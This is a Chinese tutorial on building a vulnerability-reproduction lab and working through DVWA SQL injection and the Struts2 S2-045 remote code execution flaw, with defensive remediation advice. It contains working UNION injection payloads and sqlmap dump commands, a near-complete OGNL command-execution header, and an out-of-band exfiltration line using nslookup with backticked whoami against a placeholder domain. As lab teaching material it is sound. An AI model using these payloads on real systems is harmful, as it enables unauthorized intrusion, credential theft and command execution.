从零构建安全实验室:手把手教你复现SQL注入与Struts2漏洞

📅 2026/6/26 10:18:11
从零构建安全实验室:手把手教你复现SQL注入与Struts2漏洞
1. 项目概述为什么说漏洞复现是安全从业者的“第一课”刚入行那会儿我总觉得漏洞复现这事儿有点“虚”——网上不是有现成的POC概念验证代码和EXP漏洞利用程序吗照着跑一遍不就行了直到自己独立负责一个项目的安全评估面对一个疑似存在漏洞的中间件手里只有模糊的CVE描述和几行漏洞公告那种无从下手的茫然感才让我彻底明白了漏洞复现的真正价值。它绝不仅仅是“跑个脚本”而是一个从信息收集、环境构建、原理分析到利用验证的完整闭环是安全研究员、渗透测试工程师乃至应用开发人员理解漏洞、评估风险、提升防御能力的核心技能。简单来说漏洞复现就是在可控的实验室环境中亲手将公开的漏洞描述或利用代码转化为一次真实的攻击过程。它的目标不是搞破坏而是为了学习。通过复现你能直观地看到漏洞是如何被触发的攻击载荷是如何生效的从而深刻理解漏洞的根源是逻辑错误、内存溢出还是配置不当评估其实际危害是导致信息泄露、权限提升还是远程代码执行并最终为修复方案提供最直接的依据。对于新手而言成功的第一次复现带来的不仅是技术上的成就感更是一种“我能看懂并验证安全威胁”的信心建立。本指南将手把手带你完成从零到一的跨越涵盖环境搭建、工具准备、实战分析全流程确保你即使毫无经验也能跟着步骤成功复现第一个漏洞。2. 核心思路与准备工作打造你的专属“安全实验室”在开始“实战”之前我们必须先搭建一个安全、隔离且可反复折腾的实验环境。直接在物理机或生产环境上操作是绝对的大忌。我们的核心思路是利用虚拟化技术构建一个包含靶机存在漏洞的系统和攻击机我们进行操作的主机的封闭网络。2.1 虚拟化平台选型VMware、VirtualBox与Docker主流的虚拟化方案有三类各有优劣适合不同场景VMware Workstation Player (免费) / Pro (付费)这是最稳定、功能最强大的桌面虚拟化方案。它的网络配置灵活可以轻松设置仅主机、NAT、桥接等模式快照功能极其方便可以随时保存和回滚实验状态对各类操作系统的兼容性最好。如果你是Windows或Linux桌面用户且追求最接近物理机的体验和稳定性这是首选。Oracle VirtualBox (免费)一款开源免费的虚拟化软件功能足够满足漏洞复现需求。它的优势在于完全免费、跨平台支持好。但在一些特定功能如USB设备支持、3D图形加速和绝对性能上略逊于VMware。对于预算有限或轻度用户VirtualBox是完全合格的选择。Docker严格来说Docker是容器化技术并非完整的虚拟机。它轻量、启动快、资源占用小非常适合复现那些基于单个应用或服务的漏洞例如一个存在SQL注入的Web应用、一个配置错误的Redis服务。如果你复现的漏洞不涉及操作系统内核、特定驱动或复杂的GUI交互使用Docker能极大提升效率。我的选择建议对于纯新手我强烈推荐从VMware Workstation Player开始。它的安装和网络配置更直观快照功能能让你在实验出错时一键恢复大大降低学习过程中的挫败感。等熟悉基本流程后可以再根据漏洞类型灵活搭配使用Docker。2.2 攻击机与靶机系统选择攻击机 (Attacker Machine)这是我们开展“攻击”操作的主机。通常选择渗透测试专用的Linux发行版因为它们预装了海量的安全工具。Kali Linux毫无疑问的行业标准。集成了超过600种渗透测试工具从信息收集、漏洞扫描、漏洞利用到密码破解、无线攻击一应俱全。对于漏洞复现它自带的Metasploit框架、各种编程语言环境Python, Perl, Ruby、网络工具nmap, wireshark都是必需品。直接从Kali官网下载OVA或ISO镜像导入虚拟机即可使用。Parrot Security OS另一个优秀的渗透测试系统基于Debian界面美观同样预装了大量工具。它与Kali功能重叠度很高选择哪个更多是个人偏好。我个人习惯用Kali因为其社区更大教程资源更丰富。靶机 (Target Machine)这是存在漏洞的系统是我们复现和分析的对象。漏洞靶场平台这是新手的最佳起点。这些平台专门设计了存在各种漏洞的虚拟机镜像供安全爱好者学习和练习。最著名的有Metasploitable2/3由Metasploit团队出品经典中的经典。Metasploitable2包含大量旧版本、易受攻击的服务如vsftpd, ProFTPD, UnrealIRCd等是练习基础漏洞利用的绝佳目标。DVWA (Damn Vulnerable Web Application)一个专注于Web漏洞的PHP/MySQL应用包含SQL注入、XSS、文件上传、命令执行等十多种漏洞且可以调节安全等级非常适合Web安全入门。Vulnhub一个庞大的漏洞靶机仓库提供数百个由社区贡献的、不同难度和主题的虚拟机镜像。你可以找到复现真实世界CVE漏洞的靶机例如“Kioptrix”系列基础Linux渗透、“Mr. Robot”系列CTF风格等。自定义靶机当你需要复现一个特定软件如Apache Struts, WordPress某插件的漏洞时可能需要手动搭建一个包含该软件特定版本的环境。这通常涉及在干净的Linux或Windows虚拟机中安装旧版本的服务和依赖。实操心得不要一上来就尝试复现最新的、复杂的CVE。从Metasploitable2或DVWA开始。成功复现几个基础漏洞比如用Metasploit攻击Metasploitable2上的vsftpd后台漏洞建立起完整的“信息收集-漏洞扫描-利用-后渗透”流程感比一开始就啃硬骨头要重要得多。信心是在一次次小的成功中积累起来的。2.3 关键工具安装与配置在Kali攻击机上除了系统自带的工具我们还需要确保一些关键组件就绪Python环境绝大多数POC脚本是用Python写的。Kali自带Python但可能需要安装额外的库。# 更新包列表并安装pip如果尚未安装 sudo apt update sudo apt install python3-pip -y # 安装常用的安全相关库 pip3 install requests pwntoolsJava环境许多企业级应用如Weblogic, Jenkins, Jira是用Java写的复现其漏洞需要Java环境。sudo apt install default-jdk -y java -version # 验证安装Git用于从GitHub等平台克隆POC代码库。sudo apt install git -y代码编辑器VSCode是一个不错的选择方便查看和编辑脚本。# 在Kali中安装VSCode sudo apt install code -y3. 实战演练手把手复现一个经典漏洞以DVWA的SQL注入为例现在我们以一个最经典的DVWADamn Vulnerable Web Application中的SQL注入漏洞为例完成一次完整的漏洞复现。这个过程将串联起环境搭建、工具使用、漏洞分析和利用的全流程。3.1 实验环境搭建下载并导入靶机访问DVWA官网下载其虚拟机镜像通常为.ova格式。用VMware或VirtualBox“打开”或“导入”这个OVA文件。启动虚拟机记下其IP地址通常启动后会在登录界面显示或使用ifconfig/ip addr命令查看。配置网络确保攻击机Kali和靶机DVWA在同一个网络内。最简单的办法是将两台虚拟机的网络适配器都设置为“NAT模式”或“仅主机模式”。在VMware中你可以在虚拟机设置中进行调整。设置为同一模式后它们通常能通过IP直接互相访问。访问DVWA在Kali的攻击机上打开浏览器输入靶机的IP地址例如http://192.168.1.105。你会看到DVWA的登录页面。默认用户名是admin密码是password。登录后在页面底部找到“DVWA Security”选项将安全级别设置为“Low”。这是我们进行漏洞练习的前提。3.2 漏洞原理快速解析在DVWA的“SQL Injection”页面有一个输入用户ID的查询框。在安全级别为“Low”时后端PHP代码可能直接拼接了用户输入形成了如下SQL语句$query SELECT first_name, last_name FROM users WHERE user_id $id;如果用户输入1 OR 11那么拼接后的语句就变成了SELECT first_name, last_name FROM users WHERE user_id 1 OR 11由于11这个条件永远为真True这条语句就会返回users表中的所有用户信息而不仅仅是ID为1的用户。这就是最基础的基于布尔的真值注入。攻击者可以利用这个原理通过精心构造的输入逐步“猜解”出数据库名、表名、字段名乃至所有数据。3.3 手动复现与利用过程我们不依赖自动化工具先用最原始的方法感受一下漏洞。探测注入点在User ID输入框先输入1点击Submit。正常返回用户ID为1的用户名如Admin。再输入1带一个单引号。如果页面返回SQL语法错误如“You have an error in your SQL syntax”则强烈暗示此处存在SQL注入漏洞因为我们的单引号破坏了原SQL语句的结构。判断字段数为了进行联合查询UNION我们需要知道原查询语句返回的字段数量。使用ORDER BY子句来猜测。输入1 ORDER BY 1 ----是SQL注释符用于注释掉后面的代码。页面正常。输入1 ORDER BY 2 --也正常。输入1 ORDER BY 3 --如果页面报错或返回异常说明原查询只有2个字段。我们确认字段数为2。实施联合查询注入知道了字段数我们就可以用UNION SELECT来获取我们想要的信息了。输入1 UNION SELECT 1,2 --提交后观察页面。原来显示“First name”和“Surname”的地方可能会变成数字“1”和“2”。这说明页面会显示第1和第2个字段的内容。现在我们把这两个位置替换成我们想查询的数据库函数。获取数据库信息输入1 UNION SELECT database(), version() --提交后页面可能会在相应位置显示当前数据库名如dvwa和数据库版本如5.7.39。这样我们就成功利用漏洞获取了系统信息。提取表名和用户数据进阶通过查询information_schema数据库MySQL的系统数据库可以获取更多信息。例如查询dvwa数据库中的所有表1 UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schemadvwa --你可能会看到users,guestbook等表名。接着查询users表的所有字段1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_schemadvwa AND table_nameusers --可能会看到user_id,first_name,last_name,user,password等字段。最后直接提取用户名和密码哈希值1 UNION SELECT user, password FROM dvwa.users --至此你已完成了一次完整的手动SQL注入攻击从探测到获取敏感数据。注意事项以上操作仅在你自己搭建的、合法的DVWA实验环境中进行。手动注入的过程能让你深刻理解每一步攻击的原理和SQL语句的变化这是自动化工具无法替代的学习体验。在实际工作中我们则会使用工具来提高效率。3.4 使用自动化工具进行复现Sqlmap手动注入虽然直观但效率低。在实际渗透测试中我们使用自动化工具。最著名的SQL注入工具就是Sqlmap。启动Sqlmap在Kali终端中可以直接运行sqlmap。基础探测针对DVWA的SQL注入页面进行探测。你需要获取该页面的URL和Cookie登录DVWA后从浏览器开发者工具的“网络”标签页可以找到。sqlmap -u http://192.168.1.105/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话ID; securitylow-u指定目标URL。--cookie提供你的会话Cookie因为DVWA需要登录后才能访问漏洞页面。 Sqlmap会自动识别注入参数、数据库类型如MySQL并询问你是否要跳过其他测试通常按回车选择默认即可。获取数据库列表探测成功后可以枚举数据库。sqlmap -u http://192.168.1.105/vulnerabilities/sqli/?id1SubmitSubmit --cookie... --dbs获取当前数据库和表# 获取当前数据库 sqlmap -u ... --cookie... --current-db # 获取指定数据库如dvwa的所有表 sqlmap -u ... --cookie... -D dvwa --tables拖取数据获取users表的所有数据。sqlmap -u ... --cookie... -D dvwa -T users --dumpSqlmap会尝试破解密码哈希如果哈希是MD5等常见类型并最终将用户名和明文密码如果破解成功展示给你。通过对比手动和自动两种方式你能清晰地看到工具如何将繁琐的猜解过程自动化同时也理解了其背后运行的原理。4. 从复现到分析理解漏洞根源与防御复现成功不是终点分析漏洞产生的原因和如何修复才是提升安全能力的关键。4.1 代码层面分析对于DVWA的SQL注入我们切换到“Medium”或“High”安全等级查看其源代码DVWA提供了源码查看功能。你会发现在“Medium”级别代码使用了mysql_real_escape_string()函数来转义输入在“High”级别则使用了参数化查询Prepared Statements或严格限制了输入格式。错误做法Low级别字符串拼接。$query SELECT ... WHERE id$id;初级防御Medium级别转义特殊字符。这能防御大部分注入但并非绝对可靠。根本解决方案High级别使用参数化查询预编译语句。这是防止SQL注入的黄金标准。它将SQL语句的结构SELECT * FROM users WHERE id?与数据用户输入的$id分离数据库引擎会严格区分两者从根本上杜绝了数据被解释为代码的可能性。4.2 漏洞影响范围评估通过复现我们可以评估这个SQL注入漏洞的影响机密性攻击者可以读取数据库中的所有数据包括用户凭证、个人信息等导致严重的数据泄露。完整性攻击者可以利用UNION或堆叠查询向数据库插入、修改或删除数据破坏数据完整性。可用性通过执行耗时的查询或DROP TABLE等破坏性语句可能导致数据库服务拒绝或数据丢失。4.3 修复建议代码层在所有数据库操作中强制使用参数化查询预编译语句。无论是PHP的PDO、Python的sqlite3模块还是Java的PreparedStatement都提供了原生支持。架构层实施最小权限原则数据库连接账户不应拥有DROP、FILE等高级权限。对Web应用进行输入验证和输出编码。运维层部署Web应用防火墙WAF虽然不能根治漏洞但可以拦截大量已知的自动化攻击。5. 进阶实战复现一个真实世界CVE漏洞以CVE-2017-5638为例在掌握了基础Web漏洞复现后我们可以挑战一个历史上著名的真实漏洞Apache Struts2 S2-045 (CVE-2017-5638)。这是一个基于Jakarta Multipart解析器的远程代码执行漏洞影响面极广。5.1 环境准备搭建漏洞靶机由于Struts2是一个Java Web框架我们需要搭建一个包含漏洞版本Struts2的Web应用。这里我们使用Vulnhub上的“S2-045”靶机镜像或者用Docker快速搭建。使用Docker搭建推荐最快捷# 搜索并拉取Struts2漏洞环境镜像示例请使用可靠的镜像源 docker pull medicean/vulapps:s_struts2_s2-045 # 运行容器将容器8080端口映射到宿主机的8080端口 docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-045运行后在浏览器访问http://你的Kali-IP:8080/应该能看到一个Struts2的演示页面。5.2 漏洞原理简述Apache Struts2在处理文件上传的Content-Type头部时使用了有缺陷的Jakarta Multipart解析器。攻击者可以在Content-Type字段中注入恶意的OGNLObject-Graph Navigation Language表达式。由于Struts2错误地评估了该表达式导致攻击者可以在服务器上执行任意系统命令。5.3 利用复现过程信息收集与确认访问靶机应用尝试寻找Struts2的特征。有时错误页面会暴露版本信息。我们已知这是一个S2-045漏洞环境。使用公开的EXP脚本在GitHub或Exploit-DB上搜索“CVE-2017-5638 exploit python”可以找到很多现成的POC脚本。我们选择一个例如一个简单的Python脚本。分析并运行EXP下载脚本后用编辑器打开。核心部分通常是一个构造了恶意Content-Type头的HTTP请求。# 示例代码片段仅示意原理非完整可利用代码 import requests url http://192.168.1.110:8080/struts2-showcase/fileupload/doUpload.action headers { Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123, Content-Disposition: form-data; namefoo %{(#_multipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdwhoami).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} } # ... 构造文件上传的请求体 ... # r requests.post(url, headersheaders, datadata, filesfiles)这段代码的核心是在Content-Type中嵌入了一段OGNL表达式它会执行whoami命令并将结果返回。我们需要将脚本中的目标URL替换成我们的靶机地址。执行与验证在Kali中运行这个Python脚本。python3 exploit_s2-045.py如果漏洞存在且利用成功你将在脚本的输出中看到服务器返回了命令执行的结果例如当前运行Web服务的系统用户名如tomcat或root。尝试其他命令修改脚本中的#cmdwhoami部分替换成其他系统命令如id,uname -a,cat /etc/passwd等验证漏洞的危害性。重要警告此漏洞利用代码执行的是系统命令具有极高的破坏力。务必、务必、务必只在你自己完全控制的实验环境中进行测试绝对不要对任何未经授权的系统进行尝试。5.4 深度分析与思考成功复现后我们应该深入思考漏洞触发点为什么一个HTTP头部的字段能导致代码执行这暴露了Struts2框架在数据反序列化/表达式解析环节存在致命缺陷。攻击载荷构造OGNL表达式是如何在服务器端被解析和执行的理解这一点有助于你编写自己的检测规则或防御脚本。修复方式Apache官方通过升级Jakarta Multipart解析器版本和增加对OGNL表达式的过滤来修复此漏洞。这提示我们在开发中对用户输入进行严格校验和过滤以及及时更新第三方库至关重要。6. 常见问题排查与避坑指南在复现漏洞的路上你一定会遇到各种“坑”。这里记录一些典型问题和解决方法。6.1 环境搭建与网络问题问题现象可能原因排查步骤与解决方案攻击机ping不通靶机虚拟机网络模式设置不一致1. 检查两台虚拟机是否都使用相同的网络模式如NAT或仅主机。2. 在靶机中运行ip addr或ifconfig查看IP。3. 在攻击机中ping 靶机IP测试。能ping通但无法访问Web服务靶机防火墙未关闭或服务未启动1. 在靶机如Metasploitable2检查服务状态sudo netstat -tulnp | grep :80。2. 临时关闭靶机防火墙sudo ufw disable(Ubuntu) 或sudo systemctl stop firewalld(CentOS)。3. 确保DVWA等应用的Web服务器如Apache已启动。Docker容器内服务无法从外部访问端口映射错误或容器网络问题1. 检查docker run命令的-p参数是否正确如-p 8080:8080。2. 在宿主机Kali内用curl http://localhost:8080测试容器本身是否正常。3. 检查Kali防火墙是否阻止了端口sudo ufw status。虚拟机启动报错VT-x/AMD-V禁用主机BIOS中CPU虚拟化支持未开启重启电脑进入BIOS/UEFI设置找到“Intel Virtualization Technology”或“AMD-V”选项将其设置为Enabled。6.2 漏洞利用失败问题问题现象可能原因排查步骤与解决方案Sqlmap扫描不出注入点1. 目标有WAF拦截。2. 注入点非GET/POST参数。3. Cookie或Session失效。4. 漏洞不存在或已修复。1. 使用--tamper参数尝试绕过WAF如--tamperspace2comment。2. 检查是否是JSON、HTTP头如User-Agent, Referer注入使用--data或--headers。3. 重新登录获取新的Cookie并在Sqlmap中更新--cookie值。4. 手动使用、and 11、and 12等基础方法验证注入点是否存在。运行公开的POC脚本无反应或报错1. 脚本依赖的Python库缺失。2. 脚本参数或目标URL需要修改。3. 脚本针对的环境与你的靶机环境有差异如Python2/3不兼容。1. 根据脚本错误提示安装缺失库pip3 install xxx。2.仔细阅读脚本开头的注释或Usage说明确保参数格式正确。3. 尝试在脚本开头添加#!/usr/bin/env python3或使用2to3工具转换Python2脚本。一个常见技巧将脚本中的print “xxx”改为print(“xxx”)urllib.urlopen改为urllib.request.urlopen。Metasploit的exploit模块执行失败1. Payload与目标系统架构不匹配。2. 目标服务版本不对或已打补丁。3. 防火墙/杀软拦截了反向连接。1. 使用show payloads查看可用载荷选择匹配的如linux/x86/meterpreter/reverse_tcp for Linux靶机。2. 使用辅助扫描模块如use auxiliary/scanner/http/struts2_content_type_ognl先确认漏洞是否存在。3. 尝试使用bind_tcp绑定载荷代替reverse_tcp反向载荷看是否能绕过出站限制。命令执行成功但无回显1. 命令执行了但输出被重定向或丢弃。2. 网络问题导致回连失败。1. 尝试将命令输出写入Web目录下的文件whoami /var/www/html/result.txt然后通过浏览器访问该文件查看。2. 使用带外OOB技术如通过DNS查询或HTTP请求将结果带出nslookup \whoami.your-domain.com需要配置自己的域名解析。6.3 独家避坑技巧与心得快照是你的“后悔药”在安装好干净的靶机系统如Metasploitable2后第一时间创建虚拟机快照。在每次进行可能破坏环境的实验如提权操作、修改系统文件前再创建一个快照。这样你可以在几秒钟内回到任何之前的状态节省大量重装环境的时间。养成信息记录习惯准备一个文本文件或笔记软件记录下每次实验的关键信息靶机IP、用户名密码、漏洞利用的准确命令、成功的Payload、遇到的问题和解决方案。这不仅是你的学习笔记未来复现类似漏洞时也能快速参考。从“黑盒”到“白盒”初期可以只关注利用黑盒。但随着能力提升一定要尝试去理解漏洞原理。去下载漏洞软件的源代码或者像DVWA那样查看修复前后的代码差异白盒。这能让你从“脚本小子”向真正的安全研究员迈进。关注漏洞上下文一个CVE编号背后可能对应多个不同的攻击向量或影响版本。在复现前仔细阅读漏洞公告如NVD、厂商安全公告明确其影响的具体软件版本、触发条件和前置要求。复现Apache Struts2漏洞你却装了个Spring Boot的应用那肯定失败。利用社区和搜索引擎99%你遇到的问题前人都遇到过。将错误信息直接复制到搜索引擎加上关键词如“kali”、“漏洞复现”、“解决”大概率能找到答案。GitHub的Issues区、安全社区如FreeBuf、先知、SecWiki都是宝贵的资源库。漏洞复现是一条从“跟随”到“创造”的路径。最开始你只是照着教程一步步操作慢慢地你能自己调试POC脚本理解每一行代码的含义最终你将能够独立分析一个陌生的漏洞公告搭建环境编写自己的检测或利用脚本。这个过程充满挑战但每一次成功的复现都是对你安全技术栈的一次扎实夯实。记住永远在法律和道德的边界内进行你的安全研究让技术成为守护的力量。